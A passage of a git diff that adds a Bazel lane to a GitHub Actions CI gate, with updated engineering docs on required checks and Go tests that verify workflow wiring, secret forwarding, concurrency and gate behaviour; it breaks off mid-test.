build-artifacts' + # upload. + bazel: + name: Bazel + permissions: + contents: read + uses: ./.github/workflows/bazel.yml + secrets: + RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} + RBE_TLS_CERT: ${{ secrets.RBE_TLS_CERT }} + RBE_TLS_KEY: ${{ secrets.RBE_TLS_KEY }} + RBE_TLS_CA: ${{ secrets.RBE_TLS_CA }} + with: + build-artifact-name: bazel-ci-build-artifacts + integration: "off" + ci-gate: name: CI Gate / Required runs-on: ubuntu-latest @@ -1460,6 +1485,7 @@ jobs: - fmt-check - lint - windows-make-shell + - bazel if: ${{ always() }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1490,6 +1516,13 @@ jobs: FMT_CHECK LINT WINDOWS_MAKE_SHELL + BAZEL + BAZEL_TEST + BAZEL_PURE + BAZEL_EMBEDDED + BAZEL_DOLTSERVER + BAZEL_PROXIED + BAZEL_SERVER_STORAGE BUILD_ARTIFACTS: ${{ needs.build-artifacts.result }} CHECK_BUILD_TAGS: ${{ needs.check-build-tags.result }} CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} @@ -1512,10 +1545,32 @@ jobs: FMT_CHECK: ${{ needs.fmt-check.result }} LINT: ${{ needs.lint.result }} WINDOWS_MAKE_SHELL: ${{ needs.windows-make-shell.result }} + # bazel.yml's lanes report their job.status as outputs; a lane that + # did not report (skipped, or lost before its last step) reads as + # skipped, which passes only in the modes bazel-gate.sh allows. + BAZEL_TEST: ${{ needs.bazel.outputs.bazel-test || 'skipped' }} + BAZEL_PURE: ${{ needs.bazel.outputs.bazel-pure || 'skipped' }} + BAZEL_EMBEDDED: ${{ needs.bazel.outputs.bazel-embedded || 'skipped' }} + BAZEL_DOLTSERVER: ${{ needs.bazel.outputs.bazel-doltserver || 'skipped' }} + BAZEL_PROXIED: ${{ needs.bazel.outputs.bazel-proxied || 'skipped' }} + BAZEL_SERVER_STORAGE: ${{ needs.bazel.outputs.bazel-server-storage || 'skipped' }} + # Inputs of bazel-gate.sh, which sets BAZEL (the call's aggregate, + # red on a missing or inconsistent mode) and the expected skips + # from bazel.yml's own rbe job decision. + BAZEL_CALL: ${{ needs.bazel.result }} + BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} + BAZEL_RBE_ENABLED: ${{ needs.bazel.outputs.rbe-enabled }} run: | skipped_ok="" if [[ "$GITHUB_EVENT_NAME" == "merge_group" ]]; then skipped_ok="CHECK_NO_BEADS_CHANGES" fi + # Bazel lanes skipped by design in the call's execution mode (all + # of them in mode skip, the remote-only embedded, proxied and + # server-storage tiers in mode local), and the aggregate unless the + # mode is missing or invalid. + skipped_ok="$skipped_ok $(bash .github/scripts/bazel-gate.sh skips)" + BAZEL="$(bash .github/scripts/bazel-gate.sh aggregate)" + export BAZEL export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index d5d09667c..ef55834dc 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1,7 +1,7 @@ # Required Check Topology -Status: aggregate gate jobs are implemented; branch-protection and ruleset -adoption remain pending. The aggregate-gate policy below remains maintainer +Status: aggregate gate jobs are implemented, and the default-branch ruleset +requires both aggregates (see Current State). The aggregate-gate policy below remains maintainer context, but `.github/workflows/*.yml` and their structural tests are authoritative for current job membership and display names. Copied workflow wiring and rollout steps in this note describe the initial rollout, not the @@ -36,8 +36,39 @@ Current PR-related workflow names: - `.github/workflows/pr.yml`: `PR` Runs on `pull_request` and `merge_group`. Contains the baseline PR jobs, Linux build artifact stage, policy/lint compatibility jobs, package gates - that consume the Linux artifact, focused storage domain/uow coverage, and - the baseline aggregate gate `PR / CI Gate / Required`. + that consume the Linux artifact, focused storage domain/uow coverage, the + Bazel lane (the `bazel` job calls `bazel.yml`), and the baseline aggregate + gate `PR / CI Gate / Required`. +- `.github/workflows/bazel.yml`: `Bazel` + Runs on `push` to `main`, manual dispatch, and `workflow_call` only. PRs and + merge groups run it once, through `pr.yml`'s `bazel` job. Its `rbe` job + decides the execution mode once (`remote`, `local` for fork and Dependabot + PRs, or `skip` while the `RBE_WEST_WORKERS` repo variable is unset) and + exports it as the `rbe-mode` / `rbe-enabled` outputs; every lane exports its + `job.status` as an output named after the job. `pr.yml`'s gate requires the + call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, + `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`. The legacy jobs these mirror stay required in `pr.yml` + and `pr-risk.yml`. + `.github/scripts/bazel-gate.sh` reads the exported mode, never the variable + or the fork flag: mode `skip` allows every Bazel id to skip, mode `local` + allows only the remote-only `BAZEL_EMBEDDED`, `BAZEL_PROXIED` and + `BAZEL_SERVER_STORAGE` (fork and Dependabot PRs rely on `pr-risk.yml`'s + legacy tiers for those), and mode `remote` allows none. + A lane that should run and fails, is cancelled, or reports no result fails + the gate, and so does a missing or invalid mode. + `bazel-integration` is not part of the PR call (`pr.yml` passes + `integration: "off"`) and has no gate id: its legacy counterparts + (`main.yml`'s integration jobs) run only on push to `main`, and so does it + (plus dispatch and nightly). `scripts/ci_workflow_test.go` fails when a new + `bazel.yml` job has neither a gate id nor an advisory entry. + Runbook: if `main`'s Bazel BUILD files drift (every PR's Bazel lanes go + red, and autofix only patches packages the PR itself changed), the RBE + farm is down, or the beads CI RBE client certificate expires (about + 2027-09-27; a partial secret set also fails every same-repo run), fix + `main` (`make bazel-sync`) or renew the secrets, or unset the + `RBE_WEST_WORKERS` repo variable: same-repo runs then take mode `skip`, + which the gate accepts (fork PRs still run locally, so drift on `main` + still reaches them). - `.github/workflows/pr-risk.yml`: `PR Risk` Runs on `pull_request` and `merge_group`. Contains embedded Dolt risk detection, embedded build/test shards, the Nix flake smoke check, and the @@ -63,7 +94,17 @@ Current PR-related workflow names: As of 2026-05-26, the live `gastownhall/beads` ruleset named `Protect main - light (beads and gastown)` enforces deletion and non-fast-forward -protection on the default branch. It does not currently require status checks. +protection on the default branch. It does not require status checks. + +Since 2026-09-29 a second, beads-only ruleset, `beads main: required CI +gates`, is active on the default branch. It requires the GitHub Actions +checks `CI Gate / Required` (`pr.yml`, which includes the Bazel lanes through +the `bazel` call) and `PR Risk Gate / Required` (`pr-risk.yml`). PR Risk's +gate job was renamed from `CI Gate / Required` to `PR Risk Gate / Required` +(#6939), so the two required contexts are distinct; before that both +workflows reported the same check name. Organization admins and one team +may bypass it. There is no merge queue, so the checks run on +`pull_request`. ## Required Check Contract @@ -102,6 +143,7 @@ Do not require these existing check names directly: - `Upgrade smoke ( -> candidate)` - `Resolve versions to test` - `nix build .#default` +- `Bazel / test` and the other jobs of `bazel.yml` Those checks should remain visible for diagnosis, but branch protection should point at aggregate gates after the gate jobs are verified. diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 581a17326..8adbefb88 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1204,6 +1204,11 @@ type ciWorkflow struct { } type ciWorkflowJob struct { + Name string `yaml:"name"` + Uses string `yaml:"uses"` + With map[string]string `yaml:"with"` + Secrets any `yaml:"secrets"` + Permissions any `yaml:"permissions"` Needs ciWorkflowStringList `yaml:"needs"` Steps []ciWorkflowStep `yaml:"steps"` RunsOn string `yaml:"runs-on"` @@ -1461,7 +1466,7 @@ func captureOne(t *testing.T, pattern, body, source string) string { return matches[1] } -// --- Bazel lane (.github/workflows/bazel.yml, advisory) ---------------------- +// --- Bazel lane (.github/workflows/bazel.yml, gated through pr.yml) ---------- const ( bazelWorkflowName = "bazel.yml" @@ -1502,8 +1507,59 @@ const ( ) // The only triggers bazel.yml may have. pull_request_target (and -// workflow_run) would run with secrets in the context of fork PRs. -var bazelWorkflowTriggers = []string{"merge_group", "pull_request", "push", "workflow_call", "workflow_dispatch"} +// workflow_run) would run with secrets in the context of fork PRs. PRs and +// merge groups reach it only through pr.yml's call, so it runs once per PR. +var bazelWorkflowTriggers = []string{"push", "workflow_call", "workflow_dispatch"} + +// What pr.yml's ci-gate does with each bazel.yml lane (every job but the rbe +// job, whose rbe-mode output the gate reads): a gated lane has a +// CI_GATE_REQUIRED id read from its workflow_call output; an advisory lane is +// not part of pr.yml's call at all (the call's inputs turn it off, checked by +// TestBazelGateSimulation), for the recorded reason. A new job in bazel.yml +// must be added to one of the two (TestBazelLaneIsGatedAlongsideLegacy). +var bazelLaneGateIDs = map[string]string{ + bazelJobName: "BAZEL_TEST", + bazelPureJobName: "BAZEL_PURE", + bazelEmbedJobName: "BAZEL_EMBEDDED", + bazelDoltJobName: "BAZEL_DOLTSERVER", + // Remote-only PR Risk tiers (fork and Dependabot PRs rely on + // pr-risk.yml's legacy jobs, like the embedded tier's). + bazelProxiedJobName: "BAZEL_PROXIED", + bazelServerJobName: "BAZEL_SERVER_STORAGE", +} + +var bazelAdvisoryLanes = map[string]string{ + bazelIntegJobName: "its legacy counterparts, main.yml's integration jobs, run only on push to main", +} + +// bazel-integration's if: remote only, and off when the caller passes +// integration: "off" (pr.yml). A string input: on push and dispatch it is +// null, and null != 'off', so the lane keeps running on main. +const bazelIntegIf = "${{ needs.rbe.outputs.enabled == 'true' && inputs.integration != 'off' }}" + +// pr.yml's call of bazel.yml: exactly these inputs (review D1 v2 N3). An rbe +// override would put every PR in local mode and ungate the embedded tier +// while the gate stays self-consistent. +var bazelPRCallWith = map[string]string{ + "build-artifact-name": "bazel-ci-build-artifacts", + "integration": "off", +} + +// The call's aggregate result (needs.bazel.result, through bazel-gate.sh). +const bazelAggregateGateID = "BAZEL" + +// The gate script and the rbe job's execution modes. +const bazelGateScript = ".github/scripts/bazel-gate.sh" + +var bazelRBEModes = []string{"remote", "local", "skip"} + +// The four RBE secrets, the only ones a caller may hand bazel.yml. +var bazelCallSecrets = map[string]string{ + "RBE_WEST_EXECUTOR": "${{ secrets.RBE_WEST_EXECUTOR }}", + "RBE_TLS_CERT": "${{ secrets.RBE_TLS_CERT }}", + "RBE_TLS_KEY": "${{ secrets.RBE_TLS_KEY }}", + "RBE_TLS_CA": "${{ secrets.RBE_TLS_CA }}", +} type ciCompositeAction struct { Runs struct { @@ -1529,15 +1585,16 @@ func readSetupBazelAction(t *testing.T) ciCompositeAction { return action } -// The Bazel lane is advisory until the equivalence record and a human promote -// it: no ci-gate may need it or list it in CI_GATE_REQUIRED. -func TestBazelWorkflowIsAdvisory(t *testing.T) { +// bazel.yml's jobs, their runner, rbe-west gate and skip rules, and the +// setup-bazel env. The skip rules are also what pr.yml's ci-gate accepts as a +// skip (TestBazelGateSimulation). +func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) var names []string for name, job := range workflow.Jobs { names = append(names, name) if job.ContinueOnError { - t.Errorf("%s continue-on-error hides failures; the lane is advisory by staying out of ci-gate", name) + t.Errorf("%s continue-on-error hides failures from pr.yml's ci-gate", name) } if job.TimeoutMinutes == 0 { t.Errorf("%s has no timeout-minutes", name) @@ -1580,6 +1637,9 @@ func TestBazelWorkflowIsAdvisory(t *testing.T) { if bazelRemoteOnlyJobs[name] { want = wantRemoteOnlyIf } + if name == bazelIntegJobName { + want = bazelIntegIf + } if job.If != want { t.Errorf("%s if = %q, want %q", name, job.If, want) } @@ -1589,23 +1649,694 @@ func TestBazelWorkflowIsAdvisory(t *testing.T) { } } } - for _, name := range []string{"pr.yml", "pr-risk.yml"} { - for jobName, j := range readCIWorkflow(t, name).Jobs { - for _, need := range j.Needs { - if strings.Contains(strings.ToLower(need), "bazel") { - t.Errorf("%s job %q needs %q; the Bazel lane is advisory", name, jobName, need) +} + +type bazelWorkflowCall struct { + Inputs map[string]struct { + Type string `yaml:"type"` + Default string `yaml:"default"` + } `yaml:"inputs"` + Secrets map[string]struct { + Required bool `yaml:"required"` + } `yaml:"secrets"` + Outputs map[string]struct { + Value string `yaml:"value"` + } `yaml:"outputs"` +} + +func readBazelWorkflowCall(t *testing.T) bazelWorkflowCall { + t.Helper() + path := filepath.Join(sourceRepoRoot(t), ".github", "workflows", bazelWorkflowName) + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + var doc struct { + On struct { + WorkflowCall bazelWorkflowCall `yaml:"workflow_call"` + } `yaml:"on"` + } + if err := yaml.Unmarshal(data, &doc); err != nil { + t.Fatalf("parse %s: %v", path, err) + } + return doc.On.WorkflowCall +} + +// Slice D1: pr.yml calls bazel.yml once per PR and merge group, and its +// ci-gate requires the Bazel lanes in addition to (not instead of) the legacy +// jobs they mirror, which stay required in pr.yml and pr-risk.yml. +func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + call := readBazelWorkflowCall(t) + + // Every job is the rbe job, a gated lane or an advisory lane (review D1 + // F4): a new job cannot join the call without a decision about the gate. + wantCallOutputs := map[string]string{ + "rbe-enabled": "${{ jobs." + bazelRBEJobName + ".outputs.enabled }}", + "rbe-mode": "${{ jobs." + bazelRBEJobName + ".outputs.mode }}", + } + for name, job := range workflow.Jobs { + if name == bazelRBEJobName { + continue + } + _, gated := bazelLaneGateIDs[name] + _, advisory := bazelAdvisoryLanes[name] + if gated == advisory { + t.Errorf("%s job %s: gated=%v advisory=%v; add it to exactly one of bazelLaneGateIDs (with a CI_GATE_REQUIRED id in pr.yml) or bazelAdvisoryLanes (with the reason)", + bazelWorkflowName, name, gated, advisory) + } + // Each lane reports its job.status from an always() last step. + if !reflect.DeepEqual(job.Outputs, map[string]string{"result": "${{ steps.result.outputs.result }}"}) { + t.Errorf("%s outputs = %v, want only result from the result step", name, job.Outputs) + } + last := job.Steps[len(job.Steps)-1] + if last.ID != "result" || last.If != "${{ always() }}" || !reflect.DeepEqual(last.Env, map[string]string{"JOB_STATUS": "${{ job.status }}"}) || + last.Run != `echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT"` { + t.Errorf("%s last step = %+v; want the always() job.status recorder", name, last) + } + wantCallOutputs[name] = "${{ jobs." + name + ".outputs.result }}" + } + for name := range bazelLaneGateIDs { + if _, ok := workflow.Jobs[name]; !ok { + t.Errorf("bazelLaneGateIDs lists %s, which %s does not have", name, bazelWorkflowName) + } + } + for name := range bazelAdvisoryLanes { + if _, ok := workflow.Jobs[name]; !ok { + t.Errorf("bazelAdvisoryLanes lists %s, which %s does not have", name, bazelWorkflowName) + } + } + gotCallOutputs := map[string]string{} + for name, out := range call.Outputs { + gotCallOutputs[name] = out.Value + } + if !reflect.DeepEqual(gotCallOutputs, wantCallOutputs) { + t.Errorf("workflow_call outputs = %v, want %v", gotCallOutputs, wantCallOutputs) + } + + // One caller on PR events: pr.yml's bazel job, with the four RBE secrets + // only, read-only contents, and no if (the rbe job decides). + pr := readCIWorkflow(t, "pr.yml") + bazel := pr.job(t, "bazel") + if bazel.Uses != "./.github/workflows/"+bazelWorkflowName || bazel.If != "" || len(bazel.Needs) != 0 { + t.Errorf("pr.yml bazel job uses=%q if=%q needs=%v; want an unconditional call of %s", bazel.Uses, bazel.If, bazel.Needs, bazelWorkflowName) + } + if !reflect.DeepEqual(bazel.Permissions, map[string]any{"contents": "read"}) { + t.Errorf("pr.yml bazel job permissions = %v, want contents: read", bazel.Permissions) + } + if !reflect.DeepEqual(bazel.With, bazelPRCallWith) { + t.Errorf("pr.yml bazel job with = %v, want exactly %v (no rbe or other override)", bazel.With, bazelPRCallWith) + } + if in := call.Inputs["integration"]; in.Type != "string" || in.Default != "on" { + t.Errorf("workflow_call input integration = %+v, want type string, default on (a boolean reads null as false on push)", in) + } + var declared []string + for name := range call.Secrets { + declared = append(declared, name) + if call.Secrets[name].Required { + t.Errorf("workflow_call secret %s is required; fork and Dependabot runs have none", name) + } + } + sort.Strings(declared) + var wantSecrets []string + for name := range bazelCallSecrets { + wantSecrets = append(wantSecrets, name) + } + sort.Strings(wantSecrets) + if !reflect.DeepEqual(declared, wantSecrets) { + t.Errorf("workflow_call secrets = %v, want %v", declared, wantSecrets) + } + callers := 0 + entries, err := os.ReadDir(filepath.Join(sourceRepoRoot(t), ".github", "workflows")) + if err != nil { + t.Fatal(err) + } + for _, entry := range entries { + if !strings.HasSuffix(entry.Name(), ".yml") || entry.Name() == bazelWorkflowName { + continue + } + for jobName, job := range readCIWorkflow(t, entry.Name()).Jobs { + if !strings.HasSuffix(job.Uses, "/"+bazelWorkflowName) { + continue + } + callers++ + // A caller forwards the RBE secrets: it must never run in a + // fork's privileged context (review D1 v2 N5). + for _, trigger := range yamlMapKeys(readYAMLNode(t, filepath.Join(".github", "workflows", entry.Name())), "on") { + if trigger == "pull_request_target" || trigger == "workflow_run" { + t.Errorf("%s calls %s and has trigger %s; a caller may not run with secrets in a fork PR's context", entry.Name(), bazelWorkflowName, trigger) } } - for _, step := range j.Steps { - for key, value := range step.Env { - if strings.Contains(strings.ToUpper(key), "BAZEL") || - (key == "CI_GATE_REQUIRED" && strings.Contains(strings.ToUpper(value), "BAZEL")) { - t.Errorf("%s job %q step %q env %s=%q wires the Bazel lane into a gate", name, jobName, step.Name, key, value) - } + if entry.Name() != "pr.yml" && entry.Name() != "nightly.yml" { + t.Errorf("%s job %s calls %s; only pr.yml (PRs) and nightly.yml may", entry.Name(), jobName, bazelWorkflowName) + } + got := map[string]string{} + if m, ok := job.Secrets.(map[string]any); ok { + for k, v := range m { + got[k] = fmt.Sprint(v) } } + if !reflect.DeepEqual(got, bazelCallSecrets) { + t.Errorf("%s job %s secrets = %v, want exactly %v (never inherit)", entry.Name(), jobName, job.Secrets, bazelCallSecrets) + } } } + if callers != 2 { + t.Errorf("%d jobs call %s, want 2 (pr.yml, nightly.yml)", callers, bazelWorkflowName) + } + + // The gate: needs the call and requires exactly BAZEL plus one id per + // gated lane, each read from the lane's output (a missing output reads + // as skipped). BAZEL itself comes from bazel-gate.sh, never the env. + gate := pr.job(t, "ci-gate") + evaluate := gate.step(t, "Evaluate CI gate") + required := strings.Fields(evaluate.Env["CI_GATE_REQUIRED"]) + if !contains(gate.Needs, "bazel") { + t.Errorf("ci-gate needs = %v, want bazel", gate.Needs) + } + wantBazelIDs := []string{bazelAggregateGateID} + for lane, id := range bazelLaneGateIDs { + wantBazelIDs = append(wantBazelIDs, id) + if want := "${{ needs.bazel.outputs." + lane + " || 'skipped' }}"; evaluate.Env[id] != want { + t.Errorf("ci-gate env %s = %q, want %q", id, evaluate.Env[id], want) + } + } + sort.Strings(wantBazelIDs) + var gotBazelIDs []string + for _, id := range required { + if strings.HasPrefix(id, "BAZEL") { + gotBazelIDs = append(gotBazelIDs, id) + } + } + sort.Strings(gotBazelIDs) + if !reflect.DeepEqual(gotBazelIDs, wantBazelIDs) { + t.Errorf("ci-gate CI_GATE_REQUIRED Bazel ids = %v, want exactly %v", gotBazelIDs, wantBazelIDs) + } + if _, ok := evaluate.Env[bazelAggregateGateID]; ok { + t.Errorf("ci-gate env sets %s; it must come from %s aggregate", bazelAggregateGateID, bazelGateScript) + } + for id, value := range evaluate.Env { + for lane := range bazelAdvisoryLanes { + if strings.Contains(value, "outputs."+lane) { + t.Errorf("ci-gate env %s reads advisory lane %s, which is not in the PR call (%s)", id, lane, bazelAdvisoryLanes[lane]) + } + } + } + for key, want := range map[string]string{ + "BAZEL_CALL": "${{ needs.bazel.result }}", + "BAZEL_RBE_MODE": "${{ needs.bazel.outputs.rbe-mode }}", + "BAZEL_RBE_ENABLED": "${{ needs.bazel.outputs.rbe-enabled }}", + } { + if evaluate.Env[key] != want { + t.Errorf("ci-gate env %s = %q, want %q", key, evaluate.Env[key], want) + } + } + // The gate reads the call's decision; it never re-derives it. + rederive := regexp.MustCompile(`(?i)RBE_WEST_WORKERS|head\.repo\.fork|HEAD_REPO_FORK|github\.actor|dependabot|secrets\.RBE`) + for key, value := range evaluate.Env { + if rederive.MatchString(key + "=" + value) { + t.Errorf("ci-gate env %s=%q re-derives the Bazel execution mode; read needs.bazel.outputs.rbe-mode", key, value) + } + } + if rederive.MatchString(evaluate.Run) { + t.Errorf("ci-gate run re-derives the Bazel execution mode:\n%s", evaluate.Run) + } + for _, line := range strings.Split(readPolicyFile(t, sourceRepoRoot(t), bazelGateScript), "\n") { + if !strings.HasPrefix(strings.TrimSpace(line), "#") && (rederive.MatchString(line) || strings.Contains(line, "GITHUB_EVENT")) { + t.Errorf("%s re-derives the execution mode: %q", bazelGateScript, line) + } + } + + // Legacy jobs stay required: D1 adds, D2 removes. + for id, job := range map[string]string{ + "BUILD_ARTIFACTS": "build-artifacts", + "PR_CORE_WRAPPER": "pr-core-wrapper", + "CHECK_CMD_BD_PUREGEO_TESTS": "check-cmd-bd-puregeo-tests", + "TEST_DOMAIN_UOW": "test-domain-uow", + "CONTRACT_CORPUS": "contract-corpus", + } { + if !contains(required, id) || !contains(gate.Needs, job) { + t.Errorf("pr.yml ci-gate no longer requires legacy %s (%s)", job, id) + } + } + risk := readCIWorkflow(t, "pr-risk.yml") + riskGate := risk.job(t, "ci-gate") + riskRequired := strings.Fields(riskGate.step(t, "Evaluate CI gate").Env["CI_GATE_REQUIRED"]) + for _, id := range []string{"BUILD_EMBEDDED", "TEST_EMBEDDED_STORAGE", "TEST_EMBEDDED_CONFORMANCE", "TEST_EMBEDDED_CMD"} { + if !contains(riskRequired, id) { + t.Errorf("pr-risk.yml ci-gate no longer requires legacy %s", id) + } + } + // PR Risk does not run the lane a second time. + for jobName, job := range risk.Jobs { + if strings.Contains(job.Uses, "bazel") || contains(job.Needs, "bazel") { + t.Errorf("pr-risk.yml job %s runs or needs the Bazel lane; pr.yml owns it", jobName) + } + } +} + +// A called workflow's workflow-level concurrency group is evaluated in the +// caller's context, where github.workflow is the caller's name: a group equal +// to the caller's own deadlocks and GitHub cancels the call (BAZEL cancelled, +// every PR red). So bazel.yml's group never uses github.workflow and, for +// every event its callers run on, differs from each caller's group (review +// D1 v2 N4). +func TestBazelCallConcurrencyDiffersFromCallers(t *testing.T) { + group := func(file string) string { + t.Helper() + var doc struct { + Concurrency struct { + Group string `yaml:"group"` + } `yaml:"concurrency"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+file)), &doc); err != nil { + t.Fatal(err) + } + return doc.Concurrency.Group + } + bazelGroup := group(bazelWorkflowName) + if bazelGroup == "" || strings.Contains(bazelGroup, "github.workflow") { + t.Fatalf("%s concurrency group = %q; want a fixed prefix, never github.workflow (the caller's name in a call)", bazelWorkflowName, bazelGroup) + } + exprRe := regexp.MustCompile(`\$\{\{\s*(.*?)\s*\}\}`) + eval := func(g, workflowName, event string) string { + t.Helper() + ctx := map[string]string{ + "github.workflow": workflowName, + "github.event_name": event, + "github.ref": "refs/pull/123/merge", + "github.event.pull_request.number || github.ref": "123", + } + if event != "pull_request" { + ctx["github.ref"] = "refs/heads/gh-readonly-queue/main/pr-123" + ctx["github.event.pull_request.number || github.ref"] = ctx["github.ref"] + } + return exprRe.ReplaceAllStringFunc(g, func(m string) string { + v, ok := ctx[exprRe.FindStringSubmatch(m)[1]] + if !ok { + t.Fatalf("concurrency group %q: cannot evaluate %s", g, m) + } + return v + }) + } + for _, caller := range []string{"pr.yml", "nightly.yml"} { + callerGroup := group(caller) + if callerGroup == "" { + continue // no workflow-level group, nothing to collide with + } + name := yamlScalar(readYAMLNode(t, filepath.Join(".github", "workflows", caller)), "name") + for _, event := range []string{"pull_request", "merge_group", "push", "schedule", "workflow_dispatch"} { + if a, b := eval(bazelGroup, name, event), eval(callerGroup, name, event); a == b { + t.Errorf("%s event %s: %s's concurrency group %q equals the caller's; the call would deadlock", caller, event, bazelWorkflowName, a) + } + } + } +} + +// bazelLaneRunModes: the rbe modes in which a lane's `if:` runs it, for a +// call with these inputs. Only the forms TestBazelWorkflowJobsAndExecutionMode +// allows are known. GitHub's != on strings is case-insensitive. +func bazelLaneRunModes(t *testing.T, lane, ifExpr string, with map[string]string) map[string]bool { + t.Helper() + switch ifExpr { + case "${{ needs.rbe.outputs.mode != 'skip' }}": + return map[string]bool{"remote": true, "local": true} + case "${{ needs.rbe.outputs.enabled == 'true' }}": + return map[string]bool{"remote": true} + case bazelIntegIf: + if strings.EqualFold(with["integration"], "off") { + return map[string]bool{} + } + return map[string]bool{"remote": true} + } + t.Fatalf("%s if = %q: teach bazelLaneRunModes which modes run it", lane, ifExpr) + return nil +} + +// bazelGateScenario: what pr.yml's ci-gate sees of one bazel.yml call. +type bazelGateScenario struct { + name string + event string + mode, enabled string // the call's rbe-mode / rbe-enabled outputs + call string // needs.bazel.result + outputs map[string]string // the lanes' outputs ("" = not reported) + wantPass bool + wantMention string // a red gate must name this id +} + +// runPRGateStep runs pr.yml's actual "Evaluate CI gate" step (its run block, +// under GitHub's bash flags) with its env evaluated for the scenario: every +// non-Bazel need succeeded; Bazel expressions read the scenario. An env +// expression of any other form fails the test, so the simulation cannot +// silently drift from the workflow. +func runPRGateStep(t *testing.T, step ciWorkflowStep, sc bazelGateScenario) (bool, string) { + t.Helper() + expr := regexp.MustCompile(`^\$\{\{ needs\.([A-Za-z0-9_-]+)\.(result|outputs\.([A-Za-z0-9_-]+))( \|\| 'skipped')? \}\}$`) + env := []string{"PATH=" + os.Getenv("PATH"), "GITHUB_EVENT_NAME=" + sc.event} + for key, value := range step.Env { + if !strings.Contains(value, "${{") { + env = append(env, key+"="+value) + continue + } + m := expr.FindStringSubmatch(value) + if m == nil { + t.Fatalf("ci-gate env %s = %q: the gate simulation cannot evaluate it", key, value) + } + var got string + switch { + case m[1] != "bazel" && m[2] == "result": + got = "success" + case m[1] != "bazel": + t.Fatalf("ci-gate env %s = %q: the gate simulation cannot evaluate it", key, value) + case m[2] == "result": + got = sc.call + case m[3] == "rbe-mode": + got = sc.mode + case m[3] == "rbe-enabled": + got = sc.enabled + default: + got = sc.outputs[m[3]] + } + if got == "" && m[4] != "" { + got = "skipped" + } + env = append(env, key+"="+got) + } + cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", step.Run) + cmd.Dir = sourceRepoRoot(t) + cmd.Env = env + out, err := cmd.CombinedOutput() + return err == nil, string(out) +} + +// The gate over every execution mode (review D1 F3): the skip script allows +// exactly the skips the lanes' own `if:`s produce in that mode, and for every +// lane that should run, that lane alone skipped, failed or cancelled turns +// pr.yml's actual gate step red, whatever the aggregate says. The advisory +// integration lane's failure alone keeps it green; a missing or inconsistent +// mode, or an aggregate failure no lane explains, turns it red. +func TestBazelGateSimulation(t *testing.T) { + requireHostTool(t, "bash") + root := sourceRepoRoot(t) + workflow := readCIWorkflow(t, bazelWorkflowName) + pr := readCIWorkflow(t, "pr.yml") + step := pr.job(t, "ci-gate").step(t, "Evaluate CI gate") + callWith := pr.job(t, "bazel").With + + lanes := map[string]map[string]bool{} // lane -> modes it runs in, in pr.yml's call + for name, job := range workflow.Jobs { + if name == bazelRBEJobName { + continue + } + lanes[name] = bazelLaneRunModes(t, name, job.If, callWith) + // Advisory lanes are not in the PR call; gated lanes run at least + // when remote. + if _, advisory := bazelAdvisoryLanes[name]; advisory && len(lanes[name]) != 0 { + t.Errorf("advisory lane %s runs in pr.yml's call in modes %v; turn it off there (%s)", name, lanes[name], bazelAdvisoryLanes[name]) + } + if _, gated := bazelLaneGateIDs[name]; gated && !lanes[name]["remote"] { + t.Errorf("gated lane %s does not run in pr.yml's call even in remote mode", name) + } + } + enabledFor := func(mode string) string { return strconv.FormatBool(mode == "remote") } + + runScript := func(mode, enabled, arg string) string { + t.Helper() + cmd := exec.Command("bash", bazelGateScript, arg) + cmd.Dir = root + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BAZEL_RBE_MODE=" + mode, "BAZEL_RBE_ENABLED=" + enabled} + out, err := cmd.Output() + if err != nil { + t.Fatalf("%s %s (mode %q, enabled %q): %v", bazelGateScript, arg, mode, enabled, err) + } + return strings.TrimSpace(string(out)) + } + + var scenarios []bazelGateScenario + for _, mode := range bazelRBEModes { + // Expected skips, from the jobs' ifs alone. + var wantSkips []string + anyRuns := false + for lane, modes := range lanes { + if modes[mode] { + anyRuns = true + } else if id, gated := bazelLaneGateIDs[lane]; gated { + wantSkips = append(wantSkips, id) + } + } + if !anyRuns { + wantSkips = append(wantSkips, bazelAggregateGateID) + } + sort.Strings(wantSkips) + gotSkips := strings.Fields(runScript(mode, enabledFor(mode), "skips")) + sort.Strings(gotSkips) + if !reflect.DeepEqual(gotSkips, wantSkips) && !(len(gotSkips) == 0 && len(wantSkips) == 0) { + t.Errorf("mode %s: %s skips = %v, want exactly %v (the ids whose job if is false)", mode, bazelGateScript, gotSkips, wantSkips) + } + + base := func() map[string]string { + out := map[string]string{} + for lane, modes := range lanes { + if modes[mode] { + out[lane] = "success" + } + } + return out + } + with := func(kv ...string) map[string]string { + out := base() + for i := 0; i+1 < len(kv); i += 2 { + out[kv[i]] = kv[i+1] + } + return out + } + sc := func(name, call string, outputs map[string]string, pass bool, mention string) { + for _, event := range []string{"pull_request", "merge_group"} { + scenarios = append(scenarios, bazelGateScenario{ + name: mode + "/" + event + "/" + name, event: event, mode: mode, enabled: enabledFor(mode), + call: call, outputs: outputs, wantPass: pass, wantMention: mention, + }) + } + } + + sc("every lane as designed", "success", base(), true, "") + sc("aggregate failure no lane explains", "failure", base(), false, bazelAggregateGateID) + sc("aggregate cancelled", "cancelled", base(), false, bazelAggregateGateID) + sc("aggregate skipped", "skipped", base(), mode == "skip", 